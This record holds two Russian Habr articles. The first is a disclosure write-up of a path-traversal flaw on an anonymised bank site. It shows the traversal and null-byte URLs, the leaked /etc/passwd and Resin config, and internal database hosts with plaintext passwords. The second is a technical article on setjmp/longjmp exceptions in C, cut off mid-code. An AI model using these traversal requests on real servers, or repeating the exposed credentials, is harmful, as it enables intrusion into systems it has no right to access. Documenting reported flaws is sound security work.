Уязвимость заключалась в следующей ссылке:
> `hackbank.ua/test.php?code=MOBILE&state=2&xslt_url=\_file**>**`
С помощью этой уязвимости можно читать локальные файлы прямо в браузере.
Мы сделали запрос к серверу на несуществующий файл, и вот что получили:
Запрос на url:
> `hackbank.ua/test?&xslt_url=0`
Ответ сервера был примерно таким:
> `500 Servlet Exception
>
>
>
> ...........................
>
>
>
> Resin-3.0.s060216 (built Thu, 16 Feb 2006 09:17:50 PST)`
>
>
Честное слово, я тогда первый раз услышал о Resin'е
А **Resin** — это высокопроизводительный сервер приложений включающий в себя такие черты как масштабируемость, и распределение нагрузки.
Информация о продукте, которую нам удалось узнать в Википедии на то время:
`Логотип компании Caucho Technology, Inc.
Тип Сервер приложений
Разработчик Caucho Technology, Inc.
ОС Кроссплатформенное программное обеспечение
Текущая версия 3.1.1 — май 2007
Лицензия GPL Собственническое ПО
Сайт www.caucho.com (англ.)
Информация в Википедии`
После скачиванию этого ПО, мы приступили к его изучению.
И так, структура папок программного обеспечения Resin:
> `¦ configure
>
> ¦ httpd.exe
>
> ¦ LICENSE
>
> ¦ Makefile.in
>
> ¦ README
>
> ¦ setup.exe
>
> ¦
>
> +---automake
>
> ¦ config.guess
>
> ¦ config.sub
>
> ¦ install-sh
>
> ¦ ltmain.sh
>
> ¦ missing
>
> ¦
>
> +---bin
>
> ¦ httpd.sh
>
> ¦
>
> +---conf
>
> ¦ app-default.xml
>
> ¦ development.conf
>
> ¦ fine.conf
>
> ¦ minimal.conf
>
> ¦ password.xml
>
> ¦ resin-3\_1.conf
>
> ¦ resin-admin.xml
>
> ¦ resin.conf
>
> ¦
>
> +---contrib
>
> ¦ init.resin-iptables
>
> ¦ init.resin.in
>
> ¦
>
> +---lib
>
> ¦ activation.jar
>
> ¦ eclipse-compil`
>
>
А теперь давайте вернемся к уязвимости.
Начнём с классики:
По ссылке [hackbank.ua/test?xslt\_url=../../../../../../etc/passwd](https://hackbank.ua/test?xslt_url=../../../../../../etc/passwd)
получаем такой вывод:
> `root:x:0:0:root:/root:/bin/bash
>
> bin:x:1:1:bin:/bin:/sbin/nologin
>
> daemon:x:2:2:daemon:/sbin:/sbin/nologin
>
> adm:x:3:4:adm:/var/adm:/sbin/nologin
>
> lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
>
> sync:x:5:0:sync:/sbin:/bin/sync
>
> shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
>
> halt:x:7:0:halt:/sbin:/sbin/halt
>
> mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
>
> news:x:9:13:news:/etc/news:
>
> uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
>
> operator:x:11:0:operator:/root:/sbin/nologin
>
> games:x:12:100:games:/usr/games:/sbin/nologin
>
> gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
>
> ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
>
> nobody:x:99:99:Nobody:/:/sbin/nologin
>
> vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
>
> rpm:x:37:37::/var/lib/rpm:/sbin/nologin
>
> nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
>
> ident:x:100:101::/home/ident:/sbin/nologin
>
> netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash
>
> sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
>
> rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
>
> rpcuser:x:29:29:RPC Servic`
Потом мы начали искать, где локально хранится папка **/conf** сервера *Resin*
И нашли, довольно быстро.
Конфиг — это XML файл. Который был доступен по ссылке [hackbank.ua/test?xslt\_url=../../../../../../conf/resin.conf%00](https://hackbank.ua/test?xslt_url=../../../../../../conf/resin.conf%00)
###### %00 — это **null-byte**, говорит веб-серверу, что это конец строки.
Далее смотрим исходный код полученного файла.
> `xml version="1.0" encoding="utf-8"?
>
> xmlns:resin="caucho.com/ns/resin/core" xmlns="caucho.com/ns/resin"**>**
>
>
>
> port="1080"**/>**
>
> port="10443"**>**
>
>
>
> JKS
>
> keys/hackbank.jks
>
> fynbxfn
>
> 6645b
>
> SSL
>
>
>
>
>
> id="" root-directory="."**>**
>
> path="log/access.log" format="%h %l %u %t "%r" %s %b "%i" "%i"" rollover-period="1W"**/>**
>
> path="log/stderr.log" timestamp="[%Y.%m.%d %H:%M:%S.%s] " rollover-period="1W"**/>**
>
> path="log/stdout.log" rollover-period="1W"**/>**
>
> path="log/server.log" timestamp="[%Y.%m.%d %H:%M:%S.%s] " rollover-period="1W"**/>**
>
> id="/" document-directory="webapps/ROOT"**/>**
>
> path="deploy"**>**
>
> ejb-server-jndi-name="java:comp/env/ejb"**>**
>
> jndi-name="java:comp/env/ejb"**/>**
>
>
>
>
>
> path="webapps"**/>**
>
> path="deploy"**/>**
>
> path="deploy"**/>**
>
>
>
> path="$/conf/db-pool.xml"**/>**
>
> path="$/conf/c2b-db-pool.xml"**/>**
>
> path="$/conf/db-pool-qp.xml"**/>**
>
> path="$/conf/hb-default.xml"**/>**
>
> path="$/conf/resin-status.xml"**/>**
>
>
>
> path="$/conf/resin-common.xml"**/>**`
Здесь все логи веб-сервера:
> `hackbank.ua/test?xslt_url=../../../../../../log/access.log
>
> hackbank.ua/test?xslt_url=../../../../../../log/stderr.log
>
> hackbank.ua/test?xslt_url=../../../../../../log/server.log`
Там ничего интересного мы не нашли. Но мы пошли дальше :)
Файл *../../../../../../conf/c2b-db-pool.xml%00*:
> `10.1.101.195:5000
>
> -----------------
>
> user : C2BServer
>
> password : vsirfysy
>
>
>
> 10.1.100.105:5000
>
> -----------------
>
> user : C2BServer
>
> password : lfktrbq,thtu
>
>
>
> 10.1.100.115:5000
>
> ----------------
>
> user : jbkl
>
> password :123456`
Файл *../../../../../../conf/db-pool.xml%00*:
> `10.1.101.51:5000
>
> -------------------
>
> user : е16_jag
>
> password : u4BKoc7U5Edo
>
>
>
> 10.1.100.77:5000
>
> -------------------
>
> user : hskl
>
> password : hsklhskl
>
>
>
> 10.1.99.49:4100
>
> ------------------
>
> user : wbpfo_p424
>
> password : aUKlOfcvT4YmAnk
>
>
>
> 10.1.99.82:5000
>
> ------------------
>
> user : P24CVC
>
> password : Login_4_P424CVC`
Угадайте что это? Правильно, это доступ к другим серверам внутренней сети банка :)
На следующий день, мы написали письмо, описали все уязвимости, которые нам удалось найти. И отправили письмо на почту банка. Через 3 недели уязвимости присутствовали. Мы отправили ещё раз письмо, и через неделю на радость нам уязвимости починили.
Этой статьей мы не хотели кого-то обидеть, просто хотим донести миру, что защищенных систем не бывает. Нанимайте профессионалов, которые будут делать вам аудит информационных систем.
По всем вопросам обращайтесь на vadim@g-sg.net
###### \* Внимание! Все ссылки, а также название банка изменены по соображениям анонимности \*
***Спасибо за внимание!***
**UPD. Все ошибки в тексте пишите в приватные сообщения. Спасибо!** | https://habr.com/ru/post/86368/ | null | ru | null |
# saneex.c: try/catch/finally на базе setjmp/longjmp (C99) быстрее стандартных исключений C++¹
Пока писал эту сугубо техническую статью, Хабр успел превратиться в местное отделение ВОЗ и теперь мне даже стыдно ее публиковать… но в душе теплится надежда, что айтишники еще не разбежались и она найдет своего читателя. Или нет?
---
Меня всегда восхищала стандартная библиотека Си, да и сам Си — при всей своей минималистичности от них так и веет духом тех самых первых ~~красноглазиков~~ [хакеров](https://tinyurl.com/tj364je). В [черновике](https://tinyurl.com/m4hdlab) первого официального стандарта (ANSI C, он же C89, [он же](https://tinyurl.com/djfxz6) ANS X3.159-1989, он же, позднее, C90 и IEC 9899:1990) определяется 145 функций и макросов, из них около 25 — это вариации (ввиду отсутствия в языке перегрузок), а 26 чисто математических. [K&R во второй редакции](https://tinyurl.com/y6z5z989)² приводят 114 функций (плюс математические), считая остальные за экзотику. В [черновике³ C11](https://tinyurl.com/444uvtg) функций уже 348, но больше сотни — математика, а еще штук 90 это «перегрузки». А теперь посмотрим на Boost, где [одних только библиотек — 160](https://tinyurl.com/qqu853s). Чур меня…
И среди этой сотни-полутора функций всегда были: обработка сигналов, вариативные функции (которые до интерпретируемого PHP дошли 25 лет спустя, а в Delphi, бурно развивавшемся одно время, их нет до сих пор) и порядка 50 строковых функций вроде **printf()** (м-м-м… JavaScript), **strftime()** (…) и **scanf()** (дешевая альтернатива регуляркам).
А еще всегда были **setjmp()**/**longjmp()**, которые позволяют реализовать привычный по другим языкам механизм исключений, не выходя за рамки переносимого Си. Вот о них и поговорим — [Quake World](https://habr.com/ru/post/491084/#irl), стеки, регистры, ассемблеры и прочая [матчасть](https://habr.com/ru/post/491084/#sjlj), а вишенкой будет занятная статистика ([спойлер](https://habr.com/ru/post/491084/#benchres): Visual Studio непостоянна, как мартовский заяц, а **throw** `saneex.c` в два раза быстрее всех).
**Скрытый текст**¹ По [результатам](https://habr.com/ru/post/491084/#benchres) [замеров](https://habr.com/ru/post/491084/#bench) в статье.
² Кстати, книга великолепная. 270 страниц, из которых 80 — это краткий пересказ стандарта. Или в то время еще не умели растекаться мыслью по древу и конвертировать это в гонорар, или авторы были выше этого. ~~[K&R](https://ru.wikipedia.org/wiki/%D0%AF%D0%B7%D1%8B%D0%BA_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F_%D0%A1%D0%B8_(%D0%BA%D0%BD%D0%B8%D0%B3%D0%B0)) — старая школа, чо.~~
³ Из [особо достоверных источников](https://stackoverflow.com/questions/17014835/where-can-i-find-the-c89-c90-standards-in-pdf-format) известно, что финальные версии стандартов ANSI и ISO продаются за деньги, а черновики бесплатны. Но это не точно.
⁴ Да, я тоже не люблю «сокращалки» вроде TinyURL, но парсер Хабра считает URL частью текста и ругается на длинный текст до ката, яко Твіттер поганий. Дальше этого не будет, честно-честно. Параноикам могу посоветовать [urlex.org](https://urlex.org).
**Оглавление:**
* [Как работают **setjmp()**/**longjmp()**](https://habr.com/ru/post/491084/#sjlj)
+ [Регистры, стек и все-все-все](https://habr.com/ru/post/491084/#matan)
+ [Затирание переменных или, по-русски, clobbering](https://habr.com/ru/post/491084/#clob)
+ [Квалификатор **volatile**](https://habr.com/ru/post/491084/#vol)
+ [Случаи использования IRL](https://habr.com/ru/post/491084/#irl)
* [Производительность](https://habr.com/ru/post/491084/#perf)
+ [Тестовая среда](https://habr.com/ru/post/491084/#bench)
+ [Результаты](https://habr.com/ru/post/491084/#benchres)
* [Виновник торжества — saneex.c](https://habr.com/ru/post/491084/#saneex)
+ [Остальные «фичи»](https://habr.com/ru/post/491084/#sexfeat)
+ [И «особенности реализации»](https://habr.com/ru/post/491084/#sexpit)
+ [Итог: как это работает](https://habr.com/ru/post/491084/#sexside)
Итак, герои нашей программы — [setjmp()](https://www.opennet.ru/man.shtml?topic=setjmp&category=3&russian=2)/[longjmp()](https://www.opennet.ru/man.shtml?topic=longjmp&category=3&russian=2), определенные в [setjmp.h](https://www.opennet.ru/man.shtml?topic=setjmp.h&category=3&russian=5), которые любят вместе сокращать как «SJLJ» (хотя мне это слово не нравится, напоминает одну печально известную аббревиатуру). Они появились в C89 и, в общем-то, уходить не собираются, но про них не все знают (знать не значит использовать — знание полезно, а использование — как повезет).
Справедливости ради надо сказать, что на Хабре [уже](https://habr.com/ru/post/324642) [были](https://habr.com/ru/post/50985) статьи, посвященные этой теме, в особенности [отличная статья](https://habr.com/ru/post/208006) от [zzeng](https://habr.com/ru/users/zzeng/). В англоязычной Сети, конечно, [тоже имеется](http://groups.di.unipi.it/~nids/docs/longjump_try_trow_catch.html), плюс можно найти реализации [вроде такой](https://github.com/Jamesits/CTryCatch) или даже [вот такой](https://sourceforge.net/projects/cexception)¹, но, на мой взгляд, ~~у них есть фатальный недостаток~~ результат или не до конца привычен (к примеру, нельзя выбрасывать исключения повторно), или используются механизмы не по стандарту.
¹ [CException](https://sourceforge.net/projects/cexception) хочется отметить особо — всего 60 строчек, пишут, что работает быстро, тоже ANSI C, но у него нет **finally** и текстовых сообщений, что для меня принципиально важно.
Вообще, использовать исключения или нет — вечный спор [тупоконечников с остроконечниками](https://ru.wikipedia.org/wiki/%D0%9F%D1%83%D1%82%D0%B5%D1%88%D0%B5%D1%81%D1%82%D0%B2%D0%B8%D1%8F_%D0%93%D1%83%D0%BB%D0%BB%D0%B8%D0%B2%D0%B5%D1%80%D0%B0#%D0%A7%D0%B0%D1%81%D1%82%D1%8C_1._%D0%9F%D1%83%D1%82%D0%B5%D1%88%D0%B5%D1%81%D1%82%D0%B2%D0%B8%D0%B5_%D0%B2_%D0%9B%D0%B8%D0%BB%D0%B8%D0%BF%D1%83%D1%82%D0%B8%D1%8E) в любом языке, и я призываю тех, кто по другую сторону баррикад, или пройти мимо, или прочитать материал и отложить его в свою копилку знаний, пусть даже на полку «чего только не тащат в нашу уютненькую сишечку». (Главное, чтобы спорщики не забывали, что ни одна программа на Си по-настоящему от «исключений» не свободна, ибо проверка **errno** не спасет при делении на ноль. Сигналы — те же яйца, только в профиль.)
Для меня лично исключения это инструмент, который позволяет:
* не думать в каждом конкретном месте, что что-то может пойти не так, если это самое место все равно с этим ничего не может сделать (ресурсы не заблокированы, память не выделена — можно прерываться немедленно, без `if (error) return -1;`)
* когда что-то и впрямь пошло не так — сохранить как можно больше информации, от кода ошибки и имени файла до значения важных переменных и других исключений, которые породили эту ситуацию
Но обо всем по порядку. [Как это у нас принято](https://habr.com/ru/post/224955), начнем с матчасти.
Как работают **setjmp()**/**longjmp()**
---------------------------------------
### Регистры, стек и [все-все-все](http://lib.ru/ANEKDOTY/9600.txt)
В двух словах, **longjmp()** — это нелокальный **goto**, а **setjmp()** — ~~пророк его~~ способ задания метки этому **goto** в run-time. Короче, «**goto** на стероидах». И, как и любые стероиды, то бишь, **goto**, они могут нанести непоправимый вред вашему коду — превратить его в такую лапшу, которая для **goto** просто вне досягаемости. Посему лучше всего их использовать не напрямую, а внутри какой-нибудь обертки, задающей четкую иерархию переходов (как то исключения — вверх по стеку в пределах явно обозначенных блоков «try»).
Помните, я говорил в начале, что от Си и, конкретно, от `setjmp.h` прямо веет ~~черт^W~~ юниксовщиной? Так вот, вы вызываете **setjmp()** один раз, а она возвращается **сколько угодно раз** (но, как минимум, один). Да, в обычном мире ~~смузихлебы~~ вызывают функцию и она возвращается один раз, а в ~~Советской России~~ функция вызывает вас сама, сколько раз ей хочется и когда ей этого хочется. Такие дела.
Эта концепция, кстати, воплотилась не только в **setjmp()** — [fork()](https://www.opennet.ru/man.shtml?topic=fork&category=3&russian=5) в POSIX делает нечто очень похожее. Я помню, когда я впервые знакомился с \*nix’овыми API после десятка лет работы исключительно с WinAPI, мне просто сносило крышу — в моих ментальных шаблонах не укладывалось, что функции могут вот так себя вести. Как метко говорят — «а что, так можно было?»… Но мы отвлеклись.
Думаю, все читающие в курсе, что основной элемент рантайма — это [стек](https://ru.wikipedia.org/wiki/%D0%A1%D1%82%D0%B5%D0%BA_%D0%B2%D1%8B%D0%B7%D0%BE%D0%B2%D0%BE%D0%B2), на котором лежат параметры и (некоторые) локальные переменные данной функции. Вызываешь новую функцию — стек растет (причем у Intel’а — вниз), выходишь — тает (у Intel’а — да-да, вверх). Вот примерчик:
```
void sub(int s) {
char buf[256];
sub(2);
}
int main(int m) {
sub(1);
}
```
Есть такой занятный компилятор — **tcc** ([Tiny C Compiler](https://bellard.org/tcc/)) от известного программиста-парохода [Ф. Беллара](https://ru.wikipedia.org/wiki/%D0%91%D0%B5%D0%BB%D0%BB%D0%B0%D1%80,_%D0%A4%D0%B0%D0%B1%D1%80%D0%B8%D1%81). **tcc** практически не делает оптимизаций и код после него очень приятно смотреть в дизассемблере. Он генерирует такое тело для **sub()** (в [нотации Intel](https://en.wikipedia.org/wiki/X86_assembly_language#Syntax), опуская пролог и эпилог):
```
sub esp, 100h ; выделяем место под локальную переменную
mov eax, 2 ; передаем параметр
push eax
call sub_401000 ; вызываем sub()
add esp, 4 ; очищаем стек после возврата (= cdecl)
```
Вот схемка происходящего со стеком:
Вот эти оранжевые цифры по центру — это указатель на вершину стека (который у Intel… ну, вы поняли). Указатель хранится в регистре **ESP** (**RSP** на x86\_64). **setjmp()** сохраняет текущее значение **ESP**/**RSP**, плюс другие служебные регистры, в область памяти **jmp\_buf**, которую вы ему передаете. Если происходит вызов **longjmp()** далее по курсу (из этой же функции или из подфункции) — указатель восстанавливается и получается, что следом автоматически восстанавливается и окружение функции, где был вызван **setjmp()**, а все вызванные ранее подфункции моментально завершаются (возвращаются). Эдакий откат во времени, «undo» для рантайма (конечно, с большой натяжкой).
В следующем примере **setjmp()** поместит в **jmp** значение указателя `FEF8h` (`FDF0h` и т.д. — красные стрелки на схеме выше) и функция продолжит выполнение, как обычно:
```
void sub(int s) {
char buf[256];
jmp_buf jmp;
setjmp(jmp);
sub(2);
}
```
Но, конечно, есть нюанс™:
* нельзя прыгать между потоками (**setjmp()** в одном, **longjmp()** в другом), потому как, очевидно, у каждого потока свой стек
* если функция, которая вызвала **setjmp()**, уже вернулась, то «реанимировать» ее не выйдет — программа впадет в [undefined behavior](https://ru.wikipedia.org/wiki/%D0%9D%D0%B5%D0%BE%D0%BF%D1%80%D0%B5%D0%B4%D0%B5%D0%BB%D1%91%D0%BD%D0%BD%D0%BE%D0%B5_%D0%BF%D0%BE%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5) (и это не лечится)
* компилятор использует регистры для хранения переменных — они, видите ли, быстрее работают! — а регистры, внезапно, хранятся отдельно от стека и, хотя **setjmp()** могла сохранить их состояние на момент вызова, она и **longjmp()** не знают, что с ними происходило после вызова **setjmp()**
### Затирание переменных или, по-русски, clobbering
[Последний момент](https://habr.com/ru/post/491084/#r1) особенно интересен. Пример:
```
#include
#include
#include
int main(void) {
int i;
jmp\_buf jmp;
i = rand();
if (setjmp(jmp) == 0) {
i = rand();
printf("%d\n", i);
longjmp(jmp, 1);
} else {
printf("%d\n", i);
}
}
```
Вопрос залу: будут ли числа в консоли совпадать?
Правильный ответ: зависит от воли звезд. ~~Так-то!~~
Посмотрим, что происходит на примере **gcc**. Если скомпилировать с **-O0**, то числа будут совпадать, а в дизассемблере мы увидим вот это:
```
; int main(void) {
push ebp ; пролог (создается stack frame)
mov ebp, esp ; EBP указывает на стек ниже ESP (если по схеме)
sub esp, E0h
...
call _rand ; результат возвращается в EAX
mov [ebp-D4h], eax ; это i = rand(); где i на стеке (EBP-D4h)
...
; if (... == 0) { ; вызов setjmp() и возврат из нее до прыжка
call _rand
mov [ebp-D4h], eax ; снова i = rand(); на стеке
; printf("%d\n", i);
mov eax, [ebp-D4h] ; передаем i со стека как параметр
mov esi, eax
lea edi, format ; передаем строку "%d\n"
mov eax, 0
call _printf
...
; } else { ; вторичный возврат из setjmp() после прыжка
mov eax, [ebp-D4h] ; снова передаем i, как в ветке выше
mov esi, eax
lea edi, format ; "%d\n"
mov eax, 0
call _printf
```
Как видно, компилятор не заморачивался и поместил переменную **i** в стек (по адресу `EBP - D4h`). Если смотреть на всю ту же [схемку](https://habr.com/ru/post/491084/#r6), то:
* вместо буфера на 256 **char** мы имеем **int** и **jmp\_buf**, размер которых на моей системе 4 и 200 байт соответственно, плюс 20 байт для чего-то потребовалось компилятору, так что на стеке под локальные переменные выделилось 224 байта (E0h) вместо 100h, как в [том примере](https://habr.com/ru/post/491084/#r6)
* **ESP** на момент вызова **setjmp()** равен `FFF8h - E0h = FF18h` (вместо `FEF8h`), это значение и сохраняется в **jmp**
+ конечно, это значение условно, в реальности оно будет иным
* и первое присваивание **i**, и второе меняют значение **i** в стеке (по адресу `FF18h`)
* **longjmp()** сбрасывает указатель стека обратно в `FF18h`, но, так как переменная **i** не выходит за эти границы, она по-прежнему доступна, равно как и другая переменная (**jmp**), и параметры **main()** (буде они есть)
+ в этом примере **ESP** и так не менялся, но **longjmp()** легко мог бы быть внутри другой функции, вызванной из **main()**
А вот если включить хотя бы **-O1**, то картина изменится:
```
; пролога и stack frame больше нет, используется значение ESP напрямую
sub esp, E8h
...
call _rand
mov [esp+E8h-DCh], eax ; i = rand(); в стеке, как и с -O0
...
; -O1 почему-то решило, что выполнение else более вероятно, чем
; if (setjmp() == 0) (хотя по-моему наоборот), и переставило
; их местами; здесь я вернул прежний порядок для понятности
; if (... == 0) {
call _rand
mov esi, eax ; ВНИМАНИЕ! запись i в регистр
; printf("%d\n", i);
lea edi, format ; "%d\n"
mov eax, 0
call _printf
...
; } else {
mov esi, [esp+E8h-DCh] ; ВНИМАНИЕ! чтение i со стека
lea edi, format ; "%d\n"
mov eax, 0
call _printf
```
Вдобавок, с **-O1** **gcc** при компиляции ругается страшными словами:
```
test.c:6:11: warning: variable ‘i’ might be clobbered by ‘longjmp’ or ‘vfork’ [-Wclobbered]
```
Что мы здесь видим? Вначале **i** помещается в регистр, но в первой ветке (внутри **if**) **gcc**, видимо сочтя **i** не используемой после первого **printf()**, помещает новое значение сразу в **ESI**, а не в стек (через **ESI** оно передается дальше в **printf()**, см. [ABI, стр. 22](https://raw.githubusercontent.com/wiki/hjl-tools/x86-psABI/x86-64-psABI-1.0.pdf) — RDI (**format**), RSI (**i**), …). Из-за этого:
* в стеке по адресу `ESP + E8h - DCh` остается старое значение **rand()**
* в **ESI** оказывается новое значение
* **printf()** (первый вызов) принимает (новое) значение из регистра
* **longjmp()** сбрасывает указатель стека, но не восстанавливает изменившиеся регистры, которые используются функциями для локальных переменных при включенных оптимизациях
* второй вызов **printf()** (в **else**) читает значение, как положено, из стека, то бишь старое
+ но даже если бы оно читалось из **ESI**, то после прыжка в этом регистре был бы мусор (вероятно, из **printf()** или самого **longjmp()**)
Или, если переписать это обратно на Си:
```
stack[i] = rand(); // i = rand(); изменение стека (1)
if (setjmp(jmp) == 0) {
ESI = rand(); // i = rand(); изменение регистра (2)
printf("%d\n", ESI); // печать значения (2)
longjmp(jmp, 1); // прыжок
} else {
printf("%d\n", stack[i]); // печать значения (1)
// или могло бы быть так:
printf("%d\n", ESI); // использование регистра, где уже кто-то
// "побывал" (первый printf() или longjmp())
}
```
**Скрытый текст**Честно говоря, мне не понятно, почему **gcc** результат первого **rand()** не помещает сразу в **ESI** или в другой регистр (даже при **-O3**). На SO [пишут](https://stackoverflow.com/questions/2535989/what-are-the-calling-conventions-for-unix-linux-system-calls-on-i386-and-x86-6), что в режиме x86\_64 (под который я компилировал пример) сохраняются все регистры, кроме **EAX**. Зачем промежуточное сохранение в стек? Я предположил, что **gcc** отследил **printf()** в **else** после **longjmp()**, но если убрать второй **rand()** и этот **printf()** — результат не меняется, **i** так же вначале пишется в стек.
Если кто может пролить свет на сию тайну — прошу в комментарии.
### Квалификатор **volatile**
Решение [проблемы](https://habr.com/ru/post/491084/#clob) «летучих переменных» — квалификатор **volatile** (дословно — «летучий»). Он заставляет компилятор всегда помещать переменную в стек, поэтому наш код будет работать, как ожидается, при любом уровне оптимизаций:
```
volatile int i;
```
Единственное изменение при **-O1** будет в теле **if**:
```
; было:
call _rand
mov esi, eax
; стало:
call _rand
mov [rsp+E8h-DCh], eax
mov esi, [rsp+E8h-DCh]
; или можно переписать так:
call _rand
mov esi, eax
mov [rsp+E8h-DCh], eax
```
Как видим, компилятор продублировал присвоение в стек ([сравните](https://habr.com/ru/post/491084/#r2)):
```
if (setjmp(jmp) == 0) {
ESI = stack[i] = rand();
```
### Случаи использования IRL
Итак, если соблюдать меры предосторожности — не прыгать между потоками и между завершившимися функциями и не использовать изменившиеся не-**volatile** переменные после прыжка, то SJLJ позволяет нам беспроблемно перемещаться по стеку вызовов в произвольную точку. И не обязательно быть адептом секты свидетелей исключений — сопротивление бесполезно, ибо SJLJ уже давно ~~заполонили всю планету~~ среди нас:
* Википедия [предлагает](https://en.wikipedia.org/wiki/Setjmp.h#Cooperative_multitasking) использовать их для реализации корутин в Си (я бы не стал — как бы чего не вышло, хотя [ldir](https://habr.com/ru/users/ldir/) такую технику тоже [упоминал](https://habr.com/ru/post/143318))
* на Хабре [alexkalmuk](https://habr.com/ru/users/alexkalmuk/) писал про [юнит-тесты в Эльбрусе на основе SJLJ](https://habr.com/ru/post/447704) (+ [вторая статья](https://habr.com/ru/post/239387)), а [dzeban](https://habr.com/ru/users/dzeban/) — про [профилирование в Linux](https://habr.com/ru/post/261003)
* также местные [писали про быстрый интерпретатор](https://habr.com/ru/post/261665) (осторожно: очень сильное колдунство от [Atakua](https://habr.com/ru/users/atakua/)), про [обработку ошибок в x86emu](https://habr.com/ru/post/176707) ([NWOcs](https://habr.com/ru/users/nwocs/)) и [в libpng](https://habr.com/ru/post/176163) (в [libjpeg-turbo](https://libjpeg-turbo.org) [аналогично](https://raw.githubusercontent.com/libjpeg-turbo/libjpeg-turbo/master/example.txt))
* в 2017 [Skapix](https://habr.com/ru/users/skapix/) [писал про **pthreads**](https://habr.com/ru/post/339698), а [kutelev](https://habr.com/ru/users/kutelev/) — про [прыжки из обработчиков сигналов](https://habr.com/ru/post/332626)
* [тут пишут](https://stackoverflow.com/questions/819864/what-are-some-good-ways-to-use-longjmp-setjmp-for-c-error-handling), что эта парочка использовалась в [Symbian](https://ru.wikipedia.org/wiki/Symbian_OS)
* а в **Quake World** она использовалась совершенно точно — см. [перевод археологических раскопок](https://habr.com/ru/post/324804) от [PatientZero](https://habr.com/ru/users/patientzero/) и, собственно, [исходники](https://github.com/id-Software/Quake/blob/master/WinQuake/host.c) (там есть и пара других мест)
Последний пример, на мой взгляд, наиболее хрестоматийный — это обработка ошибок и других состояний, когда нужно выйти «вот прямо сейчас», с любого уровня, при этом вставлять везде проверки на выход утомительно, а где-то и не возможно (библиотеки). Кстати, [еще один пример](https://habr.com/ru/post/434992) был описан в проекте [DrMefistO](https://habr.com/ru/users/drmefisto/).
Конкретно в **Quake World** запускается бесконечный цикл в **WinMain()**, где каждая новая итерация устанавливает **jmp\_buf**, а несколько функций могут в него прыгать, таким образом реализуя «глубокий **continue**»:
```
// WinQuake/host.c
jmp_buf host_abortserver;
void Host_EndGame (char *message, ...)
{
...
if (cls.demonum != -1)
CL_NextDemo ();
else
CL_Disconnect ();
longjmp (host_abortserver, 1);
}
void Host_Error (char *error, ...)
{
...
if (cls.state == ca_dedicated)
Sys_Error ("Host_Error: %s\n",string); // dedicated servers exit
CL_Disconnect ();
cls.demonum = -1;
inerror = false;
longjmp (host_abortserver, 1);
}
void _Host_Frame (float time)
{
static double time1 = 0;
static double time2 = 0;
static double time3 = 0;
int pass1, pass2, pass3;
if (setjmp (host_abortserver) )
return; // something bad happened, or the server disconnected
...
}
// QW/client/sys_win.c
int WINAPI WinMain (...)
{
...
while (1)
{
...
newtime = Sys_DoubleTime ();
time = newtime - oldtime;
Host_Frame (time);
oldtime = newtime;
}
/* return success of application */
return TRUE;
}
```
Производительность
------------------
Один из доводов, который приводят против использования исключений — их отрицательное влияние на производительность. И действительно, в исходниках **setjmp()** в [glibc](http://ftp.gnu.org/gnu/glibc/) видно, что сохраняются почти все регистры общего назначения ЦП. Тем не менее:
* само собой разумеется, что ни исключения в общем, ни SJLJ/`saneex.c` в частности и не предполагаются к применению во внутренностях числодробилок
* современные те-кхе…кхе-нологии (~~извиняюсь, электрон в горло попал~~) таковы, что сохранение лишнего десятка-другого регистров — это самая малая из проблем, которые они в себе несут
* если скорость критична, а исключений хочется — есть механизмы zero-cost exceptions (или, точнее, zero-cost **try**), которые радикально снижают нагрузку при входе в блок **try**, оставляя всю грязную работу на момент обработки (выброса) — а так как исключения это не **goto** и должны использоваться, гм, в исключительных ситуациях, то на производительности такой «перекос» сказывается, э-э, исключительно положительно
«Честные» zero-cost exceptions особенно полезны в том плане, что избавляют от более медленных [volatile](https://habr.com/ru/post/491084/#vol)-переменных, которые иначе размещаются в стеке, а не в регистрах (именно поэтому они и не затираются **longjmp()**). Тем не менее, их поддержка это уже задача для компилятора и платформы:
* [В Windows](https://en.wikipedia.org/wiki/Microsoft-specific_exception_handling_mechanisms) есть SEH и VEH, последний подвезли в XP.
* В **gcc** было несколько разных вариантов — вначале на основе SJLJ, потом DWARF, коего на сегодняшний день было пять версий (DWARF применяется и в **clang**). На эту тему см. отменные статьи [zzeng](https://habr.com/ru/users/zzeng/): [тыц](https://habr.com/ru/post/208006) и [тыц](https://habr.com/ru/post/267771), и сайт [dwarfstd.org](http://dwarfstd.org).
* В [комментарии](https://habr.com/ru/post/50985#comment_12975751) к [другой статье](https://habr.com/ru/post/50985) камрад [nuit](https://habr.com/ru/users/nuit/) дал наводку на интересный проект [libunwind](http://www.nongnu.org/libunwind/), но использовать его только ради исключений — это как стрелять из воробьев по пушкам (больно большой).
И, хотя `saneex.c` не претендует на пальму zero-cost (ее пальма — это переносимость), так ли уж страшен **setjmp()**, как его малюют? Может, это суеверие? Чтобы не быть голословными — померяем.
### Тестовая среда
Я набросал два бенчмарка «на коленке», которые в **main()** в цикле 100 тысяч раз входят в блок **try**/**catch** и делают или не делают **throw()**.
Исходник бенчмарка на C:
```
#include
#include
#include "saneex.h"
int main(void) {
for (int i = 0; i < 100000; i++) {
try {
// либо ("выброс" = да):
throw(msgex("A quick fox jumped over a red dog and a nyancat was spawned"));
// либо ("выброс" = нет):
time(NULL);
} catchall {
fprintf(stderr, "%s\n", curex().message);
} endtry
}
}
```
Исходник на С++ (я адаптировал пример с [Википедии](https://en.wikipedia.org/wiki/C%2B%2B#Exception_handling), вынеся объявление вектора за цикл и заменив `cerr <<` на **fprintf()**):
```
#include
#include
#include
#include
int main() {
std::vector vec{ 3, 4, 3, 1 };
for (int i = 0; i < 100000; i++) {
try {
// либо ("выброс" = да):
int i{ vec.at(4) };
// либо ("выброс" = нет):
time(NULL);
}
catch (std::out\_of\_range & e) {
